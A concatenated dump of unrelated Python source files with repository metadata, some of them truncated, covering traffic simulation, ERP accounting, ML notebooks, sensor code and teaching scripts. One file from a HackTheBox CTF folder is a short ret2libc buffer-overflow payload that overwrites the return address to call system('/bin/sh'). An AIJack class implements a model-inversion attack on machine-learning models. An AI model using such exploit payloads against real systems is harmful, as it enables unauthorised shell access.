] | 6 | 2018-08-07T22:48:52.000Z | 2021-10-07T18:38:20.000Z | experimental/yaml/yamlParser.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
#######################################################################
#
# SYMBOLS SECTION - Can be edited. Changes will be preserved.
#
#######################################################################
import collections
from functools import partial
import os
import sys
dhparser_path... | 34.95053 | 170 | 0.599232 |
a33f3f1cb20d06f296a698981f1f49bcd7f90628 | 281 | py | Python | Boot2Root/hackthebox/October/files/buf-over.py | Kan1shka9/CTFs | 33ab33e094ea8b52714d5dad020c25730e91c0b0 | [
"MIT"
] | 21 | 2016-02-06T14:30:01.000Z | 2020-09-11T05:39:17.000Z | Boot2Root/hackthebox/October/files/buf-over.py | Kan1shka9/CTFs | 33ab33e094ea8b52714d5dad020c25730e91c0b0 | [
"MIT"
] | null | null | null | Boot2Root/hackthebox/October/files/buf-over.py | Kan1shka9/CTFs | 33ab33e094ea8b52714d5dad020c25730e91c0b0 | [
"MIT"
] | 7 | 2017-02-02T16:27:02.000Z | 2021-04-30T17:14:53.000Z | import struct
system_addr = struct.pack("<I",0xb7e0ca20) # Address of system
exit_addr = struct.pack("<I",0xd3adc0d3) # Dummy address
arg_addr = struct.pack("<I",0xb7f47c0a) # Address of /bin/sh
buf = "A" * 112
buf += system_addr
buf += exit_addr
buf += arg_addr
print buf
| 21.615385 | 63 | 0.697509 |
06ed7b38b9305cb338a531fd7756176efd8a14bf | 160 | py | Python | 005 kleines 1 mal 1.py | Gravitar64/KESS | 174bf9ee853f7bfb0c2e652b83150045197b6425 | [
"MIT"
] | null | null | null | 005 kleines 1 mal 1.py | Gravitar64/KESS | 174bf9ee853f7bfb0c2e652b83150045197b6425 | [
"MIT"
] | null | null | null | 005 kleines 1 mal 1.py | Gravitar64/KESS | 174bf9ee853f7bfb0c2e652b83150045197b6425 | [
"MIT"
] | null | null | null | einmaleins = 11
proeinmaleins = 11
for zahl1 in range(1,einmaleins):
for zahl2 in range(1,proeinmaleins):
print(f"{zahl1} * {zahl2} = {zahl1 * zahl2}")
| 22.857143 | 50 | 0.675 |
9fd32e096a21e74016bc78c78f727da140ffb5fa | 667 | py | Python | Python/Buch_ATBS/Teil_2/Kapitel_09_Dateien_verwalten/04_Ordner_mit_allen_Unterodnern_durchsuchen/25_ordner_mit_allen_unterordnern_durchsuchen.py | Apop85/Scripts | e71e1c18539e67543e3509c424c7f2d6528da654 | [
"MIT"
] | null | null | null | Python/Buch_ATBS/Teil_2/Kapitel_09_Dateien_verwalten/04_Ordner_mit_allen_Unterodnern_durchsuchen/25_ordner_mit_allen_unterordnern_durchsuchen.py | Apop85/Scripts | e71e1c18539e67543e3509c424c7f2d6528da654 | [
"MIT"
] | 6 | 2020-12-24T15:15:09.000Z | 2022-01-13T01:58:35.000Z | Python/Buch_ATBS/Teil_2/Kapitel_09_Dateien_verwalten/04_Ordner_mit_allen_Unterodnern_durchsuchen/25_ordner_mit_allen_unterordnern_durchsuchen.py | Apop85/Scripts | 1d8dad316c55e1f1343526eac9e4b3d0909e4873 | [
"MIT"
] | null | null | null | # 25_ordner_mit_allen_unterordnern_durchsuchen.py
# Dieses Script übernimmt die Aufgabe alle Unterordner von diesem Buch nach txt-Dateien zu durchsuchen um sie in ein Vorgegebenes Verzeichnis zu kopieren.
import os, shutil
os.chdir(os.path.dirname(__file__))
if not os.path.exists('.\\resultate'):
os.mkdir('.\\resu... | 33.35 | 154 | 0.674663 |
c6899c1f12e4e5165b4002abcdb87a8168bad5f1 | 9,535 | py | Python | Co-Simulation/Sumo/sumo-1.7.0/tools/detector/flowFromEdgeData.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 4 | 2020-11-13T02:35:56.000Z | 2021-03-29T20:15:54.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/detector/flowFromEdgeData.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 9 | 2020-12-09T02:12:39.000Z | 2021-02-18T00:15:28.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/detector/flowFromEdgeData.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 1 | 2020-11-20T19:31:26.000Z | 2020-11-20T19:31:26.000Z | #!/usr/bin/env python
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo
# Copyright (C) 2007-2020 German Aerospace Center (DLR) and others.
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License 2.0 which is available at
# https://www.ec... | 45.404762 | 118 | 0.607027 |
af315e405651755dcf2a0a84c5cbd16a3420b297 | 256 | py | Python | Python/Courses/Python-Tutorials.Telusko/02.Miscellaneous/20.00-File-handling-Reading.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Courses/Python-Tutorials.Telusko/02.Miscellaneous/20.00-File-handling-Reading.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Courses/Python-Tutorials.Telusko/02.Miscellaneous/20.00-File-handling-Reading.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | file = open("text.txt", "r")
# print(file)
# print(file.read())
# print(file.read(5))
# print(file.read(1))
# print(file.read(5))
# print(file.readline(), end="")
# print(file.readline())
i = 1
for v in file:
print(v, i)
i += 1
file.close()
| 12.190476 | 32 | 0.574219 |
af6cdc518ed9352c3604ee5e5cd810882aacda6b | 977 | py | Python | train_inference/image_recognition/codes/customize_service.py | hellfire0831/ModelArts-Lab | 3e826a5b388244c0588b7bb916184750997ab272 | [
"Apache-2.0"
] | 1,045 | 2019-05-09T02:50:43.000Z | 2022-03-31T06:22:11.000Z | train_inference/image_recognition/codes/customize_service.py | hellfire0831/ModelArts-Lab | 3e826a5b388244c0588b7bb916184750997ab272 | [
"Apache-2.0"
] | 1,468 | 2019-05-16T00:48:18.000Z | 2022-03-08T04:12:44.000Z | train_inference/image_recognition/codes/customize_service.py | hellfire0831/ModelArts-Lab | 3e826a5b388244c0588b7bb916184750997ab272 | [
"Apache-2.0"
] | 1,077 | 2019-05-09T02:50:53.000Z | 2022-03-27T11:05:32.000Z | import cv2
from model_service.tfserving_model_service import TfServingBaseService
from PIL import Image
import numpy as np
class dogcat_service(TfServingBaseService):
def _preprocess(self, data):
preprocessed_data = {}
for k, v in data.items():
for file_name, file_content in v.items():
... | 36.185185 | 90 | 0.646878 |
afadaa90fb0a6c5d40f9a629f33ac88533a57439 | 20,489 | py | Python | Packs/ExpanseV2/Scripts/ExpansePrintSuggestions/ExpansePrintSuggestions.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/ExpanseV2/Scripts/ExpansePrintSuggestions/ExpansePrintSuggestions.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/ExpanseV2/Scripts/ExpansePrintSuggestions/ExpansePrintSuggestions.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto
from CommonServerPython import * # noqa # pylint: disable=unused-wildcard-import
from CommonServerUserPython import * # noqa
"""ExpansePrintSuggestions
"""
from typing import Dict, Any
import traceback
EXPANSE_LOGO = (
"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAeIAAADFCAMAA... | 64.22884 | 130 | 0.775294 |
3c87fe5433e68d5d6c16c1678d2c3a36b580a679 | 6,936 | py | Python | frappe-bench/apps/erpnext/erpnext/accounts/doctype/payment_reconciliation/payment_reconciliation.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/accounts/doctype/payment_reconciliation/payment_reconciliation.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/accounts/doctype/payment_reconciliation/payment_reconciliation.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | # Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.utils import flt
from frappe import msgprint, _
from frappe.model.document import Document
from erpnext.accounts.utils import get_outs... | 36.893617 | 114 | 0.72722 |
3cb8a788ed82068f282a9304eebb74e78fc01bdc | 157 | py | Python | zipped.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | zipped.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | zipped.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null |
n, x = map(int, input().split())
tests = []
for _ in range(x):
tests.append(map(float, input().split()))
for i in zip(*tests):
print(sum(i)/len(i)) | 19.625 | 45 | 0.579618 |
f9f10ee87112bc9f2528734b1deb7f9c7d8758b8 | 18,239 | py | Python | notebooks/performance_comparison.py | CorrelAid/compgen-ii-cgv | 810a044d6bbe1ce058a359115e3e5fc71a358549 | [
"MIT"
] | 1 | 2022-02-02T12:41:06.000Z | 2022-02-02T12:41:06.000Z | notebooks/performance_comparison.py | CorrelAid/compgen-ii-cgv | 810a044d6bbe1ce058a359115e3e5fc71a358549 | [
"MIT"
] | null | null | null | notebooks/performance_comparison.py | CorrelAid/compgen-ii-cgv | 810a044d6bbe1ce058a359115e3e5fc71a358549 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# ---
# jupyter:
# jupytext:
# formats: ipynb,py:percent
# text_representation:
# extension: .py
# format_name: percent
# format_version: '1.3'
# jupytext_version: 1.13.0
# kernelspec:
# display_name: Python 3 (ipykernel)
# language: python
# name:... | 33.651292 | 318 | 0.708098 |
555cbf3dbfc623c91c2d4333fec327d5e93c7bdb | 5,258 | py | Python | examples/language_model/xlm/xnli_eval.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | examples/language_model/xlm/xnli_eval.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | examples/language_model/xlm/xnli_eval.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 35.768707 | 87 | 0.621339 |
55bd4f15c6f8001149948d84d085305cf3ca541e | 2,174 | py | Python | updateEvent.py | CodeforChemnitz/codeforchemnitz.github.io | 07028de293ea62c4acd7316602f28a5e7c924279 | [
"CC-BY-4.0",
"CC0-1.0"
] | 3 | 2016-03-16T19:42:53.000Z | 2017-05-17T05:49:36.000Z | updateEvent.py | CodeforChemnitz/codeforchemnitz.github.io | 07028de293ea62c4acd7316602f28a5e7c924279 | [
"CC-BY-4.0",
"CC0-1.0"
] | 13 | 2016-10-03T09:52:30.000Z | 2022-02-26T02:08:52.000Z | updateEvent.py | CodeforChemnitz/codeforchemnitz.github.io | 07028de293ea62c4acd7316602f28a5e7c924279 | [
"CC-BY-4.0",
"CC0-1.0"
] | 2 | 2016-03-28T07:43:30.000Z | 2016-11-22T18:46:09.000Z | #!/bin/env python
__author__ = 'mjob'
try:
# For Python 3.0 and later
from urllib.request import urlopen
except ImportError:
# Fall back to Python 2's urllib2
from urllib2 import urlopen
import json, locale, os.path as path, subprocess, os
from datetime import datetime, timedelta
locale.setlocale(locale.LC_ALL, '... | 31.970588 | 145 | 0.673413 |
e99b094704b304f8a968b0c063cc43d764ad6971 | 730 | py | Python | leetcode/538-Convert-BST-to-Greater-Tree/ConvBST2GreaterTree.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2016-12-29T03:26:39.000Z | 2016-12-29T03:26:39.000Z | leetcode/538-Convert-BST-to-Greater-Tree/ConvBST2GreaterTree.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2016-02-09T06:00:07.000Z | 2016-02-09T07:20:13.000Z | leetcode/538-Convert-BST-to-Greater-Tree/ConvBST2GreaterTree.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 2 | 2019-06-27T09:07:26.000Z | 2019-07-01T04:40:13.000Z | # Definition for a binary tree node.
# class TreeNode(object):
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution(object):
def convertBST(self, root):
"""
:type root: TreeNode
:rtype: TreeNode
"""
def le... | 24.333333 | 52 | 0.516438 |
e9bfb0d234c88216dad8a70731091d684dd82810 | 774 | py | Python | ParsingAndScraping/assistants.py | KazuruK/FilmGetter | fd84bcaddf17d4b89ad6e5d27095535346c5f4a9 | [
"BSD-3-Clause"
] | 1 | 2021-06-23T13:06:11.000Z | 2021-06-23T13:06:11.000Z | ParsingAndScraping/assistants.py | KazuruK/FilmGetter | fd84bcaddf17d4b89ad6e5d27095535346c5f4a9 | [
"BSD-3-Clause"
] | 1 | 2021-06-23T21:21:52.000Z | 2021-06-23T21:21:52.000Z | ParsingAndScraping/assistants.py | KazuruK/FilmGetter | fd84bcaddf17d4b89ad6e5d27095535346c5f4a9 | [
"BSD-3-Clause"
] | 1 | 2021-06-28T19:14:19.000Z | 2021-06-28T19:14:19.000Z | import re
def big_num(page_info):
num = re.findall("[0-9]{2,}", str(re.findall("{.*?}", page_info)))
return num
def digits(data):
digit = re.findall("\d+", data)
return digit
def empty_string_cleaner(input):
while "" in input:
input.remove("")
return input
def substring_enter_cou... | 24.967742 | 73 | 0.612403 |
75663008ad73be76f97d21297e071fb0379c4662 | 15,860 | py | Python | EDA/video_predicting_code.py | nvk681/NFL_Kaggle | f2507d210aa283d8076e7a328e512473be4ef1d3 | [
"MIT"
] | 1 | 2021-12-08T07:22:05.000Z | 2021-12-08T07:22:05.000Z | EDA/video_predicting_code.py | nvk681/NFL_Kaggle | f2507d210aa283d8076e7a328e512473be4ef1d3 | [
"MIT"
] | 13 | 2021-10-15T00:27:42.000Z | 2021-12-08T07:22:30.000Z | EDA/video_predicting_code.py | Mrinal18/NFL_Kaggle | 7692464d6555e45305a3664c68e33b6eeab72990 | [
"MIT"
] | null | null | null | #predicting helmets from video of NFL using object detection
import numpy as np
import pandas as pd
import itertools
import glob
import os
import cv2
from sklearn.metrics import accuracy_score
from tqdm.auto import tqdm
from multiprocessing import Pool
from matplotlib import pyplot as plt
from sklearn.cluster import K... | 40.050505 | 151 | 0.57087 |
f9ab2e0730b02f603b491fd97438a3df5c950e86 | 2,844 | py | Python | src/aijack/attack/inversion/generator_attack.py | luoshenseeker/AIJack | 4e871a5b3beb4b7c976d38060d6956efcebf880d | [
"MIT"
] | 24 | 2021-11-17T02:16:47.000Z | 2022-03-27T01:04:08.000Z | src/aijack/attack/inversion/generator_attack.py | luoshenseeker/AIJack | 4e871a5b3beb4b7c976d38060d6956efcebf880d | [
"MIT"
] | 9 | 2021-12-03T06:09:27.000Z | 2022-03-29T06:33:53.000Z | src/aijack/attack/inversion/generator_attack.py | luoshenseeker/AIJack | 4e871a5b3beb4b7c976d38060d6956efcebf880d | [
"MIT"
] | 5 | 2022-01-12T09:58:04.000Z | 2022-03-17T09:29:04.000Z | from typing import List
from ..base_attack import BaseAttacker
class Generator_Attack(BaseAttacker):
def __init__(
self,
target_model,
attacker_model,
attacker_optimizer,
log_interval=1,
early_stopping=5,
device="cpu",
):
if type(target_model) =... | 33.857143 | 84 | 0.569269 |
85cccf03d1467b8f9d1f17c0e4a6edf2bb379371 | 5,914 | py | Python | mini_challenges/mini_challenge2/src/webcam.py | AbinMM/PYNQ_Hackathon_2017 | 711c75e8590b02f313295cef712188691690c948 | [
"BSD-3-Clause"
] | 19 | 2017-10-08T03:18:38.000Z | 2020-07-07T02:34:18.000Z | mini_challenges/mini_challenge2/src/webcam.py | AbinMM/PYNQ_Hackathon_2017 | 711c75e8590b02f313295cef712188691690c948 | [
"BSD-3-Clause"
] | 2 | 2017-10-08T03:15:10.000Z | 2017-10-10T16:10:32.000Z | mini_challenges/mini_challenge2/src/webcam.py | AbinMM/PYNQ_Hackathon_2017 | 711c75e8590b02f313295cef712188691690c948 | [
"BSD-3-Clause"
] | 28 | 2017-10-07T23:24:36.000Z | 2022-03-29T08:03:40.000Z | from pynq.overlays.base import BaseOverlay
from pynq.lib.video import *
from pynq import PL
from PIL import Image as PIL_Image
import sys, cv2, math, copy
from time import time
import numpy as np
import asyncio
import datetime
import imutils
#from appscript import app
program_is_running = True
key1 = 0
key2 = 0
key3 ... | 29.868687 | 107 | 0.678559 |
85f743983a3c6a4869fc232516f6ff25ebae8ce5 | 5,124 | py | Python | tests/views/test_reference_request_review.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 1 | 2021-06-01T14:49:18.000Z | 2021-06-01T14:49:18.000Z | tests/views/test_reference_request_review.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 286 | 2020-12-04T14:13:00.000Z | 2022-03-09T19:05:16.000Z | tests/views/test_reference_request_review.py | DanielGrams/gsevpt | a92f71694388e227e65ed1b24446246ee688d00e | [
"MIT"
] | null | null | null | import pytest
@pytest.mark.parametrize("db_error", [True, False])
@pytest.mark.parametrize("is_verified", [True, False])
def test_review_verify(client, seeder, utils, app, mocker, db, db_error, is_verified):
user_id, admin_unit_id = seeder.setup_base()
(
other_user_id,
other_admin_unit_id,
... | 29.964912 | 88 | 0.681889 |
c0758b40426aa86a41838532b197474b09a653ac | 2,251 | py | Python | Prototype/main prototype/Calculation.py | fowado/BauphysikSE1 | eb8805196c8fbf99a879c40c5e0725d740c5a0de | [
"CC-BY-4.0"
] | 4 | 2019-12-03T16:13:09.000Z | 2019-12-11T23:22:58.000Z | Prototype/main prototype/Calculation.py | fowado/BauphysikSE1 | eb8805196c8fbf99a879c40c5e0725d740c5a0de | [
"CC-BY-4.0"
] | 65 | 2019-12-08T17:43:59.000Z | 2020-08-14T15:26:21.000Z | Prototype/main prototype/Calculation.py | fowado/BauphysikSE1 | eb8805196c8fbf99a879c40c5e0725d740c5a0de | [
"CC-BY-4.0"
] | null | null | null | def layer_calc(l):
calc_r(l)
def tab_calc(t):
if t.mode == 0: # u calculation
full_u_calc(t)
elif t.mode == 1: # temp calculation
# if t.u == 0.0:
# full_u_calc(t)
full_u_calc(t)
j = t.u * (t.tright - t.tleft)
rho_right = t.rright * j
rho_left = t... | 24.467391 | 78 | 0.499334 |
f1f3dfe6ce70dc644b65e508a9914fa414055ef1 | 1,250 | py | Python | hal/glove.py | Cherden/glove_sensors | 81a058d3a837959756e21e0b8313a7d49c5bb429 | [
"MIT"
] | null | null | null | hal/glove.py | Cherden/glove_sensors | 81a058d3a837959756e21e0b8313a7d49c5bb429 | [
"MIT"
] | null | null | null | hal/glove.py | Cherden/glove_sensors | 81a058d3a837959756e21e0b8313a7d49c5bb429 | [
"MIT"
] | null | null | null | from . import serial_dispatcher
from . import constants
GYRO_OFFSET = 512
GYRO_SCALE = 102.3
class Glove:
def __init__(self):
self.dispatcher = None
self.serial_thread = None
self.cb_touch = None
self.cb_gyro = None
def initialize(self):
self.dispatcher = serial_disp... | 26.041667 | 89 | 0.652 |
9ea39ddbac638195de45da225ef9853e6bb99c75 | 2,337 | py | Python | Packs/CheckPhish/Integrations/CheckPhish/CheckPhish_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/CheckPhish/Integrations/CheckPhish/CheckPhish_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/CheckPhish/Integrations/CheckPhish/CheckPhish_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto
import CheckPhish
from CommonServerPython import DBotScoreReliability
RESULTS = {
'status': 'DONE',
'job_id': 'jobid1234',
'url': 'http://test.com/',
'brand': 'unknown',
'url_sha256': '33f57dd894c986dadb1f0c9bde11bea035833560d889607bf63971093abf0695',
'error': Fals... | 40.293103 | 120 | 0.675225 |
7b586a4d97cb13177b1473781bd7a288da7f2b8e | 10,620 | py | Python | DEFCON/2021/Quals/crypto/smart-cryptooo/anc.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | 1 | 2021-11-02T20:53:58.000Z | 2021-11-02T20:53:58.000Z | DEFCON/2021/Quals/crypto/smart-cryptooo/anc.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | DEFCON/2021/Quals/crypto/smart-cryptooo/anc.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# This file is an implementation of Adversarial Neural CryptOOOgrapy
#pylint:disable=unexpected-keyword-arg,unused-import
import tensorflow.keras as keras
import tensorflow as tf
import itertools
import binascii
import random
import string
import struct
import numpy as np
import tqdm
import sy... | 39.775281 | 157 | 0.69887 |
a5f5c71d986128fe06de8f37c6fb1761886c6288 | 2,543 | py | Python | Co-Simulation/Sumo/sumo-1.7.0/tools/route2sel.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 4 | 2020-11-13T02:35:56.000Z | 2021-03-29T20:15:54.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/route2sel.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 9 | 2020-12-09T02:12:39.000Z | 2021-02-18T00:15:28.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/route2sel.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 1 | 2020-11-20T19:31:26.000Z | 2020-11-20T19:31:26.000Z | #!/usr/bin/env python
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo
# Copyright (C) 2008-2020 German Aerospace Center (DLR) and others.
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License 2.0 which is available at
# https://www.ec... | 37.397059 | 113 | 0.664569 |
2783e515cd8c28f45aa66c62c9337a059055c6b2 | 10,641 | py | Python | Co-Simulation/Sumo/sumo-1.7.0/tools/traci/_lane.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 4 | 2020-11-13T02:35:56.000Z | 2021-03-29T20:15:54.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/traci/_lane.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 9 | 2020-12-09T02:12:39.000Z | 2021-02-18T00:15:28.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/traci/_lane.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 1 | 2020-11-20T19:31:26.000Z | 2020-11-20T19:31:26.000Z | # -*- coding: utf-8 -*-
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo
# Copyright (C) 2011-2020 German Aerospace Center (DLR) and others.
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License 2.0 which is available at
# https://www.... | 36.693103 | 108 | 0.642797 |
27a5c45d8348d88d92bfa0ade77b3675946875c7 | 3,442 | py | Python | TimeSeries/utilities/data.py | stanton119/data-analysis | b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9 | [
"Apache-2.0"
] | null | null | null | TimeSeries/utilities/data.py | stanton119/data-analysis | b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9 | [
"Apache-2.0"
] | 1 | 2021-02-11T23:44:52.000Z | 2021-02-11T23:44:52.000Z | TimeSeries/utilities/data.py | stanton119/data-analysis | b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9 | [
"Apache-2.0"
] | 1 | 2021-12-16T01:02:23.000Z | 2021-12-16T01:02:23.000Z | from typing import List, Tuple
from pathlib import Path
import pandas as pd
import numpy as np
import urllib.request
import zipfile
from tqdm import trange
DATA_PATH = Path(__file__).parents[1] / "data"
# generation functions
def gen_dummy_data():
if 1:
df = pd.DataFrame()
df["ds"] = pd.date_rang... | 31.290909 | 106 | 0.59326 |
a901e8caa3ac4f0f5f7f4ba2a3918eefcf0f85e7 | 1,176 | py | Python | python/src/RasperryPiImpl.py | StephanKoo/LED-AlarmClock | 6936c201aa08037b130eafed7a5a71b73f8e1ac0 | [
"Apache-2.0"
] | null | null | null | python/src/RasperryPiImpl.py | StephanKoo/LED-AlarmClock | 6936c201aa08037b130eafed7a5a71b73f8e1ac0 | [
"Apache-2.0"
] | null | null | null | python/src/RasperryPiImpl.py | StephanKoo/LED-AlarmClock | 6936c201aa08037b130eafed7a5a71b73f8e1ac0 | [
"Apache-2.0"
] | 1 | 2021-08-13T20:38:50.000Z | 2021-08-13T20:38:50.000Z | '''
Created on 30.08.2021
@author: stephan
'''
import abc
import gpiozero as gz
import RPi.GPIO as GPIO
import RasperryPi
class RaspyButton(RasperryPi.Button):
# Taster definieren
# GPIO Setup
# Pin Definitons:
touchSwitch = 17 # GPIO 17 = Pin 11 for mode BCM
# Pin Setup:GeneratorExit
GPIO.s... | 27.348837 | 116 | 0.616497 |
8bf87227972c0ecedeb0cd5d60e7a256c9754891 | 514 | py | Python | Python/Courses/Python-Tutorials.Telusko/01.Object-Oriented-Programming/14.Inner-Class.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Courses/Python-Tutorials.Telusko/01.Object-Oriented-Programming/14.Inner-Class.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Courses/Python-Tutorials.Telusko/01.Object-Oriented-Programming/14.Inner-Class.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | class Student:
def __init__(self, name, roll_no):
self.name = name
self.roll_no = roll_no
self.lap = self.Laptop()
def show(self):
print(self.name, self.roll_no)
class Laptop:
def __init__(self):
self.brand = "HP"
self.cpu = "i5"
... | 17.133333 | 39 | 0.536965 |
9a2554716a19fe0c25680678a655e62e5b4a1a02 | 428 | py | Python | packages/watchmen-pipeline-kernel/src/watchmen_pipeline_kernel/pipeline_schema_interface/pipeline_context.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-pipeline-kernel/src/watchmen_pipeline_kernel/pipeline_schema_interface/pipeline_context.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-pipeline-kernel/src/watchmen_pipeline_kernel/pipeline_schema_interface/pipeline_context.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | from __future__ import annotations
from abc import abstractmethod
from typing import Callable, List
from watchmen_model.pipeline_kernel import PipelineMonitorLog
from .topic_storages import TopicStorages
# noinspection PyClassHasNoInit
class PipelineContext:
@abstractmethod
def start(
self, storages: TopicStor... | 23.777778 | 65 | 0.817757 |
9a2e9020cdcaefd5c2a1d9f96329dc89edf977a9 | 276 | py | Python | Kapitel_1/_11_function_class.py | Geralonx/Classes_Tutorial | 9499db8159efce1e3c38975b66a9c649631c6727 | [
"MIT"
] | 1 | 2020-12-24T15:42:54.000Z | 2020-12-24T15:42:54.000Z | Kapitel_1/_11_function_class.py | Geralonx/Classes_Tutorial | 9499db8159efce1e3c38975b66a9c649631c6727 | [
"MIT"
] | null | null | null | Kapitel_1/_11_function_class.py | Geralonx/Classes_Tutorial | 9499db8159efce1e3c38975b66a9c649631c6727 | [
"MIT"
] | null | null | null | # --- Definition einer normale Funktion --- #
def func(x):
return x+1
print(type(func))
# <class 'function'>
# --- Definition einer Funktion mittels Klasse --- #
class func_class:
def __call__(self, x):
return x+1
instanz = func_class()
print(instanz(1)) | 17.25 | 52 | 0.641304 |
7bfceb69201b73c9360884096b6ac11f620e8649 | 774 | py | Python | v351/python/saegezahn.py | chrbeckm/anfaenger-praktikum | 51764ff23901de1bc3d16dc935acfdc66bb2b2b7 | [
"MIT"
] | 2 | 2019-12-10T10:25:11.000Z | 2021-01-26T13:59:40.000Z | v351/python/saegezahn.py | chrbeckm/anfaenger-praktikum | 51764ff23901de1bc3d16dc935acfdc66bb2b2b7 | [
"MIT"
